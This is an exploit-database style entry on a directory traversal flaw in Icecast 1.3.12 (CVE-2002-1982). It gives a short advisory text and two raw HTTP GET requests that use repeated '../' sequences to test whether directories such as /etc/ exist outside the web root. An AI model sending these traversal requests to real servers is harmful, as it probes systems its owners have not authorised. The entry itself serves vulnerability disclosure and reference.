icecast server 1.3.12 - Directory Traversal Information Disclosure

Author: glaive
type: remote
platform: linux
port: 
date_added: 2002-07-09 
date_updated: 2012-09-29 
verified: 1 
codes: CVE-2002-1982;OSVDB-847 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5189/info


Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

GET /file/../../../../../../../../nonexistent/ HTTP/1.0

GET /file/../../../../../../../../etc/ HTTP/1.0